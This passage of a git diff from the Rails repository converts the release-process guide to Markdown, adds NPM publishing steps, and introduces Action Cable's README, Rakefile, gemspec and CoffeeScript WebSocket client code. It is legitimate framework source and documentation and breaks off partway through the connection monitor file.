+``` -=== Is Sam Ruby happy? If not, make him happy. +### Is Sam Ruby happy? If not, make him happy. -Sam Ruby keeps a test suite that makes sure the code samples in his book (Agile -Web Development with Rails) all work. These are valuable integration tests -for Rails. You can check the status of his tests here: +Sam Ruby keeps a [test suite](https://github.com/rubys/awdwr) that makes +sure the code samples in his book +([Agile Web Development with Rails](https://pragprog.com/titles/rails5/agile-web-development-with-rails-5th-edition)) +all work. These are valuable system tests +for Rails. You can check the status of these tests here: - http://intertwingly.net/projects/dashboard.html +[http://intertwingly.net/projects/dashboard.html](http://intertwingly.net/projects/dashboard.html) Do not release with Red AWDwR tests. -=== Do we have any Git dependencies? If so, contact those authors. +### Do we have any Git dependencies? If so, contact those authors. Having Git dependencies indicates that we depend on unreleased code. Obviously Rails cannot be released when it depends on unreleased code. Contact the authors of those particular gems and work out a release date that suits them. -=== Contact the security team (either Koz or tenderlove) +### Contact the security team (either tenderlove or rafaelfranca) Let them know of your plans to release. There may be security issues to be addressed, and that can impact your release date. -=== Notify implementors. +### Notify implementors. Ruby implementors have high stakes in making sure Rails works. Be kind and give them a heads up that Rails will be released soonish. @@ -54,27 +58,29 @@ lists: Implementors will love you and help you. -== 3 Days before release +### 3 Days before release This is when you should release the release candidate. Here are your tasks for today: -=== Is the CI green? If not, make it green. +### Is the CI green? If not, make it green. -=== Is Sam Ruby happy? If not, make him happy. +### Is Sam Ruby happy? If not, make him happy. -=== Contact the security team. CVE emails must be sent on this day. +### Contact the security team. CVE emails must be sent on this day. -=== Create a release branch. +### Create a release branch. From the stable branch, create a release branch. For example, if you're releasing Rails 3.0.10, do this: - [aaron@higgins rails (3-0-stable)]$ git checkout -b 3-0-10 - Switched to a new branch '3-0-10' - [aaron@higgins rails (3-0-10)]$ +``` +[aaron@higgins rails (3-0-stable)]$ git checkout -b 3-0-10 +Switched to a new branch '3-0-10' +[aaron@higgins rails (3-0-10)]$ +``` -=== Update each CHANGELOG. +### Update each CHANGELOG. Many times commits are made without the CHANGELOG being updated. You should review the commits since the last release, and fill in any missing information @@ -82,40 +88,50 @@ for each CHANGELOG. You can review the commits for the 3.0.10 release like this: - [aaron@higgins rails (3-0-10)]$ git log v3.0.9.. +``` +[aaron@higgins rails (3-0-10)]$ git log v3.0.9.. +``` If you're doing a stable branch release, you should also ensure that all of the CHANGELOG entries in the stable branch are also synced to the master branch. -=== Update the RAILS_VERSION file to include the RC. +### Update the RAILS_VERSION file to include the RC. -=== Build and test the gem. +### Build and test the gem. Run `rake install` to generate the gems and install them locally. Then try generating a new app and ensure that nothing explodes. +Verify that Action Cable's package.json is updated with the RC version. + This will stop you from looking silly when you push an RC to rubygems.org and -then realise it is broken. +then realize it is broken. + +### Release to RubyGems and NPM. -=== Release the gem. +IMPORTANT: The Action Cable client is released as an NPM package, so you must +have Node.js installed, have an NPM account (npmjs.com), and be an actioncable +package owner (`npm owner ls actioncable`) to do a full release. Do not release +until you're set up with NPM! -IMPORTANT: Due to YAML parse problems on the rubygems.org server, it is safest -to use Ruby 1.8 when releasing. +Run `rake release`. This will populate the gemspecs and NPM package.json with +the current RAILS_VERSION, commit the changes, tag it, and push the gems to +rubygems.org. -Run `rake release`. This will populate the gemspecs with data from -RAILS_VERSION, commit the changes, tag it, and push the gems to rubygems.org. -Here are the commands that `rake release` should use, so you can understand -what to do in case anything goes wrong: +Here are the commands that `rake release` uses so you can understand what to do +in case anything goes wrong: - $ rake all:build - $ git commit -am'updating RAILS_VERSION' - $ git tag -m 'v3.0.10.rc1 release' v3.0.10.rc1 - $ git push - $ git push --tags - $ for i in $(ls pkg); do gem push $i; done +``` +$ rake all:build +$ git commit -am'updating RAILS_VERSION' +$ git tag -m 'v3.0.10.rc1 release' v3.0.10.rc1 +$ git push +$ git push --tags +$ for i in $(ls pkg); do gem push $i; npm publish; done +``` -=== Send Rails release announcements +### Send Rails release announcements Write a release announcement that includes the version, changes, and links to GitHub where people can find the specific commit list. Here are the mailing @@ -132,16 +148,16 @@ IMPORTANT: If any users experience regressions when using the release candidate, you *must* postpone the release. Bugfix releases *should not* break existing applications. -=== Post the announcement to the Rails blog. +### Post the announcement to the Rails blog. If you used Markdown format for your email, you can just paste it in to the blog. * http://weblog.rubyonrails.org -=== Post the announcement to the Rails Twitter account. +### Post the announcement to the Rails Twitter account. -== Time between release candidate and actual release +## Time between release candidate and actual release Check the rails-core mailing list and the GitHub issue list for regressions in the RC. @@ -155,7 +171,7 @@ When you fix the regressions, do not create a new branch. Fix them on the stable branch, then cherry pick the commit to your release branch. No other commits should be added to the release branch besides regression fixing commits. -== Day of release +## Day of release Many of these steps are the same as for the release candidate, so if you need more explanation on a particular step, see the RC steps. @@ -173,7 +189,7 @@ Today, do this stuff in this order: * Email security lists * Email general announcement lists -=== Emailing the Rails security announce list +### Emailing the Rails security announce list Email the security announce list once for each vulnerability fixed. @@ -193,9 +209,9 @@ so we need to give them the security fixes in patch form. * Merge the release branch to the stable branch. * Drink beer (or other cocktail) -== Misc +## Misc -=== Fixing the CI +### Fixing the CI There are two simple steps for fixing the CI: @@ -1,4 +1,3 @@ -require 'sdoc' require 'net/http' $:.unshift File.expand_path('..', __FILE__) @@ -8,11 +7,12 @@ require 'railties/lib/rails/api/task' desc "Build gem files for all projects" task :build => "all:build" +desc "Prepare the release" +task :prep_release => "all:prep_release" + desc "Release all gems to rubygems and create a tag" task :release => "all:release" -PROJECTS = %w(activesupport activemodel actionpack actionview actionmailer activerecord railties activejob) - desc 'Run all tests by default' task :default => %w(test test:isolated) @@ -20,8 +20,11 @@ task :default => %w(test test:isolated) desc "Run #{task_name} task for all projects" task task_name do errors = [] - PROJECTS.each do |project| - system(%(cd #{project} && #{$0} #{task_name})) || errors << project + FRAMEWORKS.each do |project| + system(%(cd #{project} && #{$0} #{task_name} --trace)) || errors << project + end + if task_name =~ /test/ + system(%(cd actioncable && env FAYE=1 #{$0} #{task_name} --trace)) || errors << 'actioncable-faye' end fail("Errors in #{errors.join(', ')}") unless errors.empty? end @@ -29,10 +32,11 @@ end desc "Smoke-test all projects" task :smoke do - (PROJECTS - %w(activerecord)).each do |project| - system %(cd #{project} && #{$0} test:isolated) + (FRAMEWORKS - %w(activerecord)).each do |project| + system %(cd #{project} && #{$0} test:isolated --trace) end - system %(cd activerecord && #{$0} sqlite3:isolated_test) + system %(cd activerecord && #{$0} sqlite3:isolated_test --trace) + system %(cd actioncable && env FAYE=1 #{$0} test:isolated --trace) end desc "Install gems for all projects." diff --git a/actioncable/.gitignore b/actioncable/.gitignore new file mode 100644 index 0000000000..0a04b29786 --- /dev/null +++ b/actioncable/.gitignore @@ -0,0 +1,2 @@ +/lib/assets/compiled +/tmp diff --git a/actioncable/CHANGELOG.md b/actioncable/CHANGELOG.md new file mode 100644 index 0000000000..a767857607 --- /dev/null +++ b/actioncable/CHANGELOG.md @@ -0,0 +1,2 @@ + +Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/actioncable/CHANGELOG.md) for previous changes. diff --git a/actioncable/MIT-LICENSE b/actioncable/MIT-LICENSE new file mode 100644 index 0000000000..27a17cf41b --- /dev/null +++ b/actioncable/MIT-LICENSE @@ -0,0 +1,20 @@ +Copyright (c) 2015-2016 Basecamp, LLC + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/actioncable/README.md b/actioncable/README.md new file mode 100644 index 0000000000..8792113664 --- /dev/null +++ b/actioncable/README.md @@ -0,0 +1,482 @@ +# Action Cable – Integrated WebSockets for Rails + +Action Cable seamlessly integrates WebSockets with the rest of your Rails application. +It allows for real-time features to be written in Ruby in the same style +and form as the rest of your Rails application, while still being performant +and scalable. It's a full-stack offering that provides both a client-side +JavaScript framework and a server-side Ruby framework. You have access to your full +domain model written with Active Record or your ORM of choice. + + +## Terminology + +A single Action Cable server can handle multiple connection instances. It has one +connection instance per WebSocket connection. A single user may have multiple +WebSockets open to your application if they use multiple browser tabs or devices. +The client of a WebSocket connection is called the consumer. + +Each consumer can in turn subscribe to multiple cable channels. Each channel encapsulates +a logical unit of work, similar to what a controller does in a regular MVC setup. For example, +you could have a `ChatChannel` and an `AppearancesChannel`, and a consumer could be subscribed to either +or to both of these channels. At the very least, a consumer should be subscribed to one channel. + +When the consumer is subscribed to a channel, they act as a subscriber. The connection between +the subscriber and the channel is, surprise-surprise, called a subscription. A consumer +can act as a subscriber to a given channel any number of times. For example, a consumer +could subscribe to multiple chat rooms at the same time. (And remember that a physical user may +have multiple consumers, one per tab/device open to your connection). + +Each channel can then again be streaming zero or more broadcastings. A broadcasting is a +pubsub link where anything transmitted by the broadcaster is sent directly to the channel +subscribers who are streaming that named broadcasting. + +As you can see, this is a fairly deep architectural stack. There's a lot of new terminology +to identify the new pieces, and on top of that, you're dealing with both client and server side +reflections of each unit. + +## Examples + +### A full-stack example + +The first thing you must do is define your `ApplicationCable::Connection` class in Ruby. This +is the place where you authorize the incoming connection, and proceed to establish it, +if all is well. Here's the simplest example starting with the server-side connection class: + +```ruby +# app/channels/application_cable/connection.rb +module ApplicationCable + class Connection < ActionCable::Connection::Base + identified_by :current_user + + def connect + self.current_user = find_verified_user + end + + protected + def find_verified_user + if current_user = User.find_by(id: cookies.signed[:user_id]) + current_user + else + reject_unauthorized_connection + end + end + end +end +``` +Here `identified_by` is a connection identifier that can be used to find the specific connection again or later. +Note that anything marked as an identifier will automatically create a delegate by the same name on any channel instances created off the connection. + +This relies on the fact that you will already have handled authentication of the user, and +that a successful authentication sets a signed cookie with the `user_id`. This cookie is then +automatically sent to the connection instance when a new connection is attempted, and you +use that to set the `current_user`. By identifying the connection by this same current_user, +you're also ensuring that you can later retrieve all open connections by a given user (and +potentially disconnect them all if the user is deleted or deauthorized). + +Next, you should define your `ApplicationCable::Channel` class in Ruby. This is the place where you put +shared logic between your channels. + +```ruby +# app/channels/application_cable/channel.rb +module ApplicationCable + class Channel < ActionCable::Channel::Base + end +end +``` + +The client-side needs to setup a consumer instance of this connection. That's done like so: + +```js +// app/assets/javascripts/cable.js +//= require action_cable +//= require_self +//= require_tree ./channels + +(function() { + this.App || (this.App = {}); + + App.cable = ActionCable.createConsumer("ws://cable.example.com"); +}).call(this); +``` + +The `ws://cable.example.com` address must point to your Action Cable server(s), and it +must share a cookie namespace with the rest of the application (which may live under http://example.com). +This ensures that the signed cookie will be correctly sent. + +That's all you need to establish the connection! But of course, this isn't very useful in +itself. This just gives you the plumbing. To make stuff happen, you need content. That content +is defined by declaring channels on the server and allowing the consumer to subscribe to them. + + +### Channel example 1: User appearances + +Here's a simple example of a channel that tracks whether a user is online or not, and also what page they are currently on. +(This is useful for creating presence features like showing a green dot next to a user's name if they're online). + +First you declare the server-side channel: + +```ruby +# app/channels/appearance_channel.rb +class AppearanceChannel < ApplicationCable::Channel + def subscribed + current_user.appear + end + + def unsubscribed + current_user.disappear + end + + def appear(data) + current_user.appear on: data['appearing_on'] + end + + def away + current_user.away + end +end +``` + +The `#subscribed` callback is invoked when, as we'll show below, a client-side subscription is initiated. In this case, +we take that opportunity to say "the current user has indeed appeared". That appear/disappear API could be backed by +Redis or a database or whatever else. Here's what the client-side of that looks like: + +```coffeescript +# app/assets/javascripts/cable/subscriptions/appearance.coffee +App.cable.subscriptions.create "AppearanceChannel", + # Called when the subscription is ready for use on the server + connected: -> + @install() + @appear() + + # Called when the WebSocket connection is closed + disconnected: -> + @uninstall() + + # Called when the subscription is rejected by the server + rejected: -> + @uninstall() + + appear: -> + # Calls `AppearanceChannel#appear(data)` on the server + @perform("appear", appearing_on: $("main").data("appearing-on")) + + away: -> + # Calls `AppearanceChannel#away` on the server + @perform("away") + + + buttonSelector = "[data-behavior~=appear_away]" + + install: -> + $(document).on "page:change.appearance", => + @appear() + + $(document).on "click.appearance", buttonSelector, => + @away() + false + + $(buttonSelector).show() + + uninstall: -> + $(document).off(".appearance") + $(buttonSelector).hide() +``` + +Simply calling `App.cable.subscriptions.create` will setup the subscription, which will call `AppearanceChannel#subscribed`, +which in turn is linked to the original `App.cable` -> `ApplicationCable::Connection` instances. + +Next, we link the client-side `appear` method to `AppearanceChannel#appear(data)`. This is possible because the server-side +channel instance will automatically expose the public methods declared on the class (minus the callbacks), so that these +can be reached as remote procedure calls via a subscription's `perform` method. + +### Channel example 2: Receiving new web notifications + +The appearance example was all about exposing server functionality to client-side invocation over the WebSocket connection. +But the great thing about WebSockets is that it's a two-way street. So now let's show an example where the server invokes +an action on the client. + +This is a web notification channel that allows you to trigger client-side web notifications when you broadcast to the right +streams: + +```ruby +# app/channels/web_notifications_channel.rb +class WebNotificationsChannel < ApplicationCable::Channel + def subscribed + stream_from "web_notifications_#{current_user.id}" + end +end +``` + +```coffeescript +# Client-side, which assumes you've already requested the right to send web notifications +App.cable.subscriptions.create "WebNotificationsChannel", + received: (data) -> + new Notification data["title"], body: data["body"] +``` + +```ruby +# Somewhere in your app this is called, perhaps from a NewCommentJob +ActionCable.server.broadcast \ + "web_notifications_#{current_user.id}", { title: 'New things!', body: 'All the news that is fit to print' } +``` + +The `ActionCable.server.broadcast` call places a message in the Action Cable pubsub queue under a separate broadcasting name for each user. For a user with an ID of 1, the broadcasting name would be `web_notifications_1`. +The channel has been instructed to stream everything that arrives at `web_notifications_1` directly to the client by invoking the +`#received(data)` callback. The data is the hash sent as the second parameter to the server-side broadcast call, JSON encoded for the trip +across the wire, and unpacked for the data argument arriving to `#received`. + + +### Passing Parameters to Channel + +You can pass parameters from the client side to the server side when creating a subscription. For example: + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel + def subscribed + stream_from "chat_#{params[:room]}" + end +end +``` + +If you pass an object as the first argument to `subscriptions.create`, that object will become the params hash in your cable channel. The keyword `channel` is required. + +```coffeescript +# Client-side, which assumes you've already requested the right to send web notifications +App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }, + received: (data) -> + @appendLine(data) + + appendLine: (data) -> + html = @createLine(data) + $("[data-chat-room='Best Room']").append(html) + + createLine: (data) -> + """ + <article class="chat-line"> + <span class="speaker">#{data["sent_by"]}</span> + <span class="body">#{data["body"]}</span> + </article> + """ +``` + +```ruby +# Somewhere in your app this is called, perhaps from a NewCommentJob +ActionCable.server.broadcast \ + "chat_#{room}", { sent_by: 'Paul', body: 'This is a cool chat app.' } +``` + + +### Rebroadcasting message + +A common use case is to rebroadcast a message sent by one client to any other connected clients. + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel + def subscribed + stream_from "chat_#{params[:room]}" + end + + def receive(data) + ActionCable.server.broadcast "chat_#{params[:room]}", data + end +end +``` + +```coffeescript +# Client-side, which assumes you've already requested the right to send web notifications +App.chatChannel = App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }, + received: (data) -> + # data => { sent_by: "Paul", body: "This is a cool chat app." } + +App.chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." }) +``` + +The rebroadcast will be received by all connected clients, _including_ the client that sent the message. Note that params are the same as they were when you subscribed to the channel. + + +### More complete examples + +See the [rails/actioncable-examples](https://github.com/rails/actioncable-examples) repository for a full example of how to setup Action Cable in a Rails app, and how to add channels. + + +## Configuration + +Action Cable has three required configurations: a subscription adapter, allowed request origins, and the cable server URL (which can optionally be set on the client side). + +### Redis + +By default, `ActionCable::Server::Base` will look for a configuration file in `Rails.root.join('config/cable.yml')`. +This file must specify an adapter and a URL for each Rails environment. It may use the following format: + +```yaml +production: &production + adapter: redis + url: redis://10.10.3.153:6381 +development: &development + adapter: redis + url: redis://localhost:6379 +test: *development +``` + +You can also change the location of the Action Cable config file in a Rails initializer with something like: + +```ruby +Rails.application.paths.add "config/cable", with: "somewhere/else/cable.yml" +``` + +### Allowed Request Origins + +Action Cable will only accept requests from specified origins, which are passed to the server config as an array. The origins can be instances of strings or regular expressions, against which a check for match will be performed. + +```ruby +Rails.application.config.action_cable.allowed_request_origins = ['http://rubyonrails.com', /http:\/\/ruby.*/] +``` + +When running in the development environment, this defaults to "http://localhost:3000". + +To disable and allow requests from any origin: + +```ruby +Rails.application.config.action_cable.disable_request_forgery_protection = true +``` + +### Consumer Configuration + +Once you have decided how to run your cable server (see below), you must provide the server URL (or path) to your client-side setup. +There are two ways you can do this. + +The first is to simply pass it in when creating your consumer. For a standalone server, +this would be something like: `App.cable = ActionCable.createConsumer("ws://example.com:28080")`, and for an in-app server, +something like: `App.cable = ActionCable.createConsumer("/cable")`. + +The second option is to pass the server URL through the `action_cable_meta_tag` in your layout. +This uses a URL or path typically set via `config.action_cable.url` in the environment configuration files, or defaults to "/cable". + +This method is especially useful if your WebSocket URL might change between environments. If you host your production server via https, you will need to use the wss scheme +for your Action Cable server, but development might remain http and use the ws scheme. You might use localhost in development and your +domain in production. + +In any case, to vary the WebSocket URL between environments, add the following configuration to each environment: + +```ruby +config.action_cable.url = "ws://example.com:28080" +``` + +Then add the following line to your layout before your JavaScript tag: + +```erb +<%= action_cable_meta_tag %> +``` + +And finally, create your consumer like so: + +```coffeescript +App.cable = ActionCable.createConsumer() +``` + +### Other Configurations + +The other common option to configure is the log tags applied to the per-connection logger. Here's close to what we're using in Basecamp: + +```ruby +Rails.application.config.action_cable.log_tags = [ + -> request { request.env['bc.account_id'] || "no-account" }, + :action_cable, + -> request { request.uuid } +] +``` + +For a full list of all configuration options, see the `ActionCable::Server::Configuration` class. + +Also note that your server must provide at least the same number of database connections as you have workers. The default worker pool is set to 4, so that means you have to make at least that available. You can change that in `config/database.yml` through the `pool` attribute. + + +## Running the cable server + +### Standalone +The cable server(s) is separated from your normal application server. It's still a Rack application, but it is its own Rack +application. The recommended basic setup is as follows: + +```ruby +# cable/config.ru +require ::File.expand_path('../../config/environment', __FILE__) +Rails.application.eager_load! + +run ActionCable.server +``` + +Then you start the server using a binstub in bin/cable ala: +``` +#!/bin/bash +bundle exec puma -p 28080 cable/config.ru +``` + +The above will start a cable server on port 28080. + +### In app + +If you are using a server that supports the [Rack socket hijacking API](http://www.rubydoc.info/github/rack/rack/file/SPEC#Hijacking), Action Cable can run alongside your Rails application. For example, to listen for WebSocket requests on `/websocket`, specify that path to `config.action_cable.mount_path`: + +```ruby +# config/application.rb +class Application < Rails::Application + config.action_cable.mount_path = '/websocket' +end +``` + +For every instance of your server you create and for every worker your server spawns, you will also have a new instance of Action Cable, but the use of Redis keeps messages synced across connections. + +### Notes + +Beware that currently the cable server will _not_ auto-reload any changes in the framework. As we've discussed, long-running cable connections mean long-running objects. We don't yet have a way of reloading the classes of those objects in a safe manner. So when you change your channels, or the model your channels use, you must restart the cable server. + +We'll get all this abstracted properly when the framework is integrated into Rails. + +The WebSocket server doesn't have access to the session, but it has access to the cookies. This can be used when you need to handle authentication. You can see one way of doing that with Devise in this [article](http://www.rubytutorial.io/actioncable-devise-authentication). + +## Dependencies + +Action Cable provides a subscription adapter interface to process its pubsub internals. By default, asynchronous, inline, PostgreSQL, evented Redis, and non-evented Redis adapters are included. The default adapter in new Rails applications is the asynchronous (`async`) adapter. To create your own adapter, you can look at `ActionCable::SubscriptionAdapter::Base` for all methods that must be implemented, and any of the adapters included within Action Cable as example implementations. + +The Ruby side of things is built on top of [websocket-driver](https://github.com/faye/websocket-driver-ruby), [nio4r](https://github.com/celluloid/nio4r), and [concurrent-ruby](https://github.com/ruby-concurrency/concurrent-ruby). + + +## Deployment + +Action Cable is powered by a combination of WebSockets and threads. All of the +connection management is handled internally by utilizing Ruby’s native thread +support, which means you can use all your regular Rails models with no problems +as long as you haven’t committed any thread-safety sins. + +The Action Cable server does _not_ need to be a multi-threaded application server. +This is because Action Cable uses the [Rack socket hijacking API](http://www.rubydoc.info/github/rack/rack/file/SPEC#Hijacking) +to take over control of connections from the application server. Action Cable +then manages connections internally, in a multithreaded manner, regardless of +whether the application server is multi-threaded or not. So Action Cable works +with all the popular application servers -- Unicorn, Puma and Passenger. + +Action Cable does not work with WEBrick, because WEBrick does not support the +Rack socket hijacking API. + +## License + +Action Cable is released under the MIT license: + +* http://www.opensource.org/licenses/MIT + + +## Support + +API documentation is at: + +* http://api.rubyonrails.org + +Bug reports can be filed for the Ruby on Rails project here: + +* https://github.com/rails/rails/issues + +Feature requests should be discussed on the rails-core mailing list here: + +* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core diff --git a/actioncable/Rakefile b/actioncable/Rakefile new file mode 100644 index 0000000000..58c18dd457 --- /dev/null +++ b/actioncable/Rakefile @@ -0,0 +1,70 @@ +require 'rake/testtask' +require 'pathname' +require 'sprockets' +require 'coffee-script' +require 'action_cable' + +dir = File.dirname(__FILE__) + +task :default => :test + +task :package => "assets:compile" +task "package:clean" => "assets:clean" + +Rake::TestTask.new do |t| + t.libs << "test" + t.test_files = Dir.glob("#{dir}/test/**/*_test.rb") + t.warning = true + t.verbose = true + t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION) +end + +namespace :test do + task :isolated do + Dir.glob("test/**/*_test.rb").all? do |file| + sh(Gem.ruby, '-w', '-Ilib:test', file) + end or raise "Failures" + end + + task :javascript do + require 'blade' + Blade.start(interface: :runner) + end +end + +namespace :assets do + root_path = Pathname.new(dir) + destination_path = root_path.join("lib/assets/compiled") + + desc "Compile dist/action_cable.js" + task :compile do + puts 'Compiling Action Cable assets...' + + precompile_list = %w(action_cable.js) + + environment = Sprockets::Environment.new + environment.gzip = false + Pathname.glob(root_path.join("app/assets/*/")) do |subdir| + environment.append_path subdir + end + + compile_path = root_path.join("tmp/sprockets") + compile_path.rmtree if compile_path.exist? + compile_path.mkpath + + manifest = Sprockets::Manifest.new(environment.index, compile_path) + manifest.compile(precompile_list) + + destination_path.rmtree if destination_path.exist? + manifest.assets.each do |path, fingerprint_path| + destination_path.join(path).dirname.mkpath + FileUtils.cp(compile_path.join(fingerprint_path), destination_path.join(path)) + end + + puts 'Done' + end + + task :clean do + destination_path.rmtree if destination_path.exist? + end +end diff --git a/actioncable/actioncable.gemspec b/actioncable/actioncable.gemspec new file mode 100644 index 0000000000..f301049d4f --- /dev/null +++ b/actioncable/actioncable.gemspec @@ -0,0 +1,27 @@ +version = File.read(File.expand_path('../../RAILS_VERSION', __FILE__)).strip + +Gem::Specification.new do |s| + s.platform = Gem::Platform::RUBY + s.name = 'actioncable' + s.version = version + s.summary = 'WebSocket framework for Rails.' + s.description = 'Structure many real-time application concerns into channels over a single WebSocket connection.' + + s.required_ruby_version = '>= 2.2.2' + + s.license = 'MIT' + + s.author = ['Pratik Naik', 'David Heinemeier Hansson'] + s.email = ['pratiknaik@gmail.com', 'david@loudthinking.com'] + s.homepage = 'http://rubyonrails.org' + + s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.md', 'lib/**/*'] + s.require_path = 'lib' + + s.add_dependency 'actionpack', version + + s.add_dependency 'nio4r', '~> 1.2' + s.add_dependency 'websocket-driver', '~> 0.6.1' + + s.add_development_dependency 'blade', '~> 0.5.1' +end diff --git a/actioncable/app/assets/javascripts/action_cable.coffee.erb b/actioncable/app/assets/javascripts/action_cable.coffee.erb new file mode 100644 index 0000000000..32f9f517f4 --- /dev/null +++ b/actioncable/app/assets/javascripts/action_cable.coffee.erb @@ -0,0 +1,41 @@ +#= require_self +#= require ./action_cable/consumer + +@ActionCable = + INTERNAL: <%= ActionCable::INTERNAL.to_json %> + + createConsumer: (url) -> + url ?= @getConfig("url") ? @INTERNAL.default_mount_path + new ActionCable.Consumer @createWebSocketURL(url) + + getConfig: (name) -> + element = document.head.querySelector("meta[name='action-cable-#{name}']") + element?.getAttribute("content") + + createWebSocketURL: (url) -> + if url and not /^wss?:/i.test(url) + a = document.createElement("a") + a.href = url + # Fix populating Location properties in IE. Otherwise, protocol will be blank. + a.href = a.href + a.protocol = a.protocol.replace("http", "ws") + a.href + else + url + + startDebugging: -> + @debugging = true + + stopDebugging: -> + @debugging = null + + log: (messages...) -> + if @debugging + messages.push(Date.now()) + console.log("[ActionCable]", messages...) + +# NOTE: We expose ActionCable as a browser global so we can reference it +# internally without concern for how the module is loaded. +window?.ActionCable = @ActionCable + +module?.exports = @ActionCable diff --git a/actioncable/app/assets/javascripts/action_cable/connection.coffee b/actioncable/app/assets/javascripts/action_cable/connection.coffee new file mode 100644 index 0000000000..d6a6397804 --- /dev/null +++ b/actioncable/app/assets/javascripts/action_cable/connection.coffee @@ -0,0 +1,116 @@ +#= require ./connection_monitor + +# Encapsulate the cable connection held by the consumer. This is an internal class not intended for direct user manipulation. + +{message_types, protocols} = ActionCable.INTERNAL +[supportedProtocols..., unsupportedProtocol] = protocols + +class ActionCable.Connection + @reopenDelay: 500 + + constructor: (@consumer) -> + {@subscriptions} = @consumer + @monitor = new ActionCable.ConnectionMonitor this + @disconnected = true + + send: (data) -> + if @isOpen() + @webSocket.send(JSON.stringify(data)) + true + else + false + + open: => + if @isActive() + ActionCable.log("Attempted to open WebSocket, but existing socket is #{@getState()}") + throw new Error("Existing connection must be closed before opening") + else + ActionCable.log("Opening WebSocket, current state is #{@getState()}, subprotocols: #{protocols}") + @uninstallEventHandlers() if @webSocket? + @webSocket = new WebSocket(@consumer.url, protocols) + @installEventHandlers() + @monitor.start() + true + + close: ({allowReconnect} = {allowReconnect: true}) -> + @monitor.stop() unless allowReconnect + @webSocket?.close() if @isActive() + + reopen: -> + ActionCable.log("Reopening WebSocket, current state is #{@getState()}") + if @isActive() + try + @close() + catch error + ActionCable.log("Failed to reopen WebSocket", error) + finally + ActionCable.log("Reopening WebSocket in #{@constructor.reopenDelay}ms") + setTimeout(@open, @constructor.reopenDelay) + else + @open() + + getProtocol: -> + @webSocket?.protocol + + isOpen: -> + @isState("open") + + isActive: -> + @isState("open", "connecting") + + # Private + + isProtocolSupported: -> + @getProtocol() in supportedProtocols + + isState: (states...) -> + @getState() in states + + getState: -> + return state.toLowerCase() for state, value of WebSocket when value is @webSocket?.readyState + null + + installEventHandlers: -> + for eventName of @events + handler = @events[eventName].bind(this) + @webSocket["on#{eventName}"] = handler + return + + uninstallEventHandlers: -> + for eventName of @events + @webSocket["on#{eventName}"] = -> + return + + events: + message: (event) -> + return unless @isProtocolSupported() + {identifier, message, type} = JSON.parse(event.data) + switch type + when message_types.welcome + @monitor.recordConnect() + @subscriptions.reload() + when message_types.ping + @monitor.recordPing() + when message_types.confirmation + @subscriptions.notify(identifier, "connected") + when message_types.rejection + @subscriptions.reject(identifier) + else + @subscriptions.notify(identifier, "received", message) + + open: -> + ActionCable.log("WebSocket onopen event, using '#{@getProtocol()}' subprotocol") + @disconnected = false + if not @isProtocolSupported() + ActionCable.log("Protocol is unsupported. Stopping monitor and disconnecting.") + @close(allowReconnect: false) + + close: (event) -> + ActionCable.log("WebSocket onclose event") + return if @disconnected + @disconnected = true + @monitor.recordDisconnect() + @subscriptions.notifyAll("disconnected", {willAttemptReconnect: @monitor.isRunning()}) + + error: -> + ActionCable.log("WebSocket onerror event") diff --git a/actioncable/app/assets/javascripts/action_cable/connection_monitor.coffee b/actioncable/app/assets/javascripts/action_cable/connection_monitor.coffee new file mode 100644 index 0000000000..0cc675fa94 --- /dev/null +++ b/actioncable/app/assets/javascripts/action_cable/connection_monitor.coffee @@ -0,0 +1,95 @@ +# Responsible for ensuring the cable connection is in good health by validating the heartbeat pings sent from the server, and attempting +# revival reconnections if things go astray. Internal class, not intended for direct user manipulation. +class ActionCable.ConnectionMonitor + @pollInterval: + min: 3 + max: 30 + + @staleThreshold: 6 # Server::Connections::BEAT_INTERVAL * 2 (missed two pings) + + constructor: (@connection) -> + @reconnectAttempts = 0 + + start: -> + unless @isRunning() + @startedAt = now() + delete @stoppedAt + @startPolling() + document.addEventListener("visibilitychange", @visibilityDidChange) + ActionCable.log("ConnectionMonitor started. pollInterval = #{@getPollInterval()} ms") + + stop: -> + if @isRunning() + @stoppedAt = now() + @stopPolling() + document.removeEventListener("visibilitychange", @visibilityDidChange) + ActionCable.log("ConnectionMonitor stopped") + + isRunning: -> + @startedAt? and not @stoppedAt? + + recordPing: -> + @pingedAt = now() + + recordConnect: -> + @reconnectAttempts = 0 + @recordPing() + delete @disconnectedAt + ActionCable.log("ConnectionMonitor recorded connect") + + recordDisconnect: -> + @disconnectedAt = now() + ActionCable.log("ConnectionMonitor recorded disconnect") + + # Private + + startPolling: -> + @stopPolling() + @poll() + + stopPolling: -> + clearTimeout(@pollTimeout) + + poll: -> + @pollTimeout = setTimeout => + @reconnectIfStale() + @poll() + , @getPollInterval() + + getPollInterval: -> + {min, max} = @constructor.pollInterval + interval = 5 * Math.log(@reconnectAttempts + 1) + Math.round(clamp(interval, min, max) * 1000) + + reconnectIfStale: -> + if @connectionIsStale() + ActionCable.log("ConnectionMonitor detected stale connection. reconnectAttempts = #{@reconnectAttempts}, pollInterval = #{@getPollInterval()} ms, time disconnected = #{secondsSince(@disconnectedAt)} s, stale threshold = #{@constructor.staleThreshold} s") + 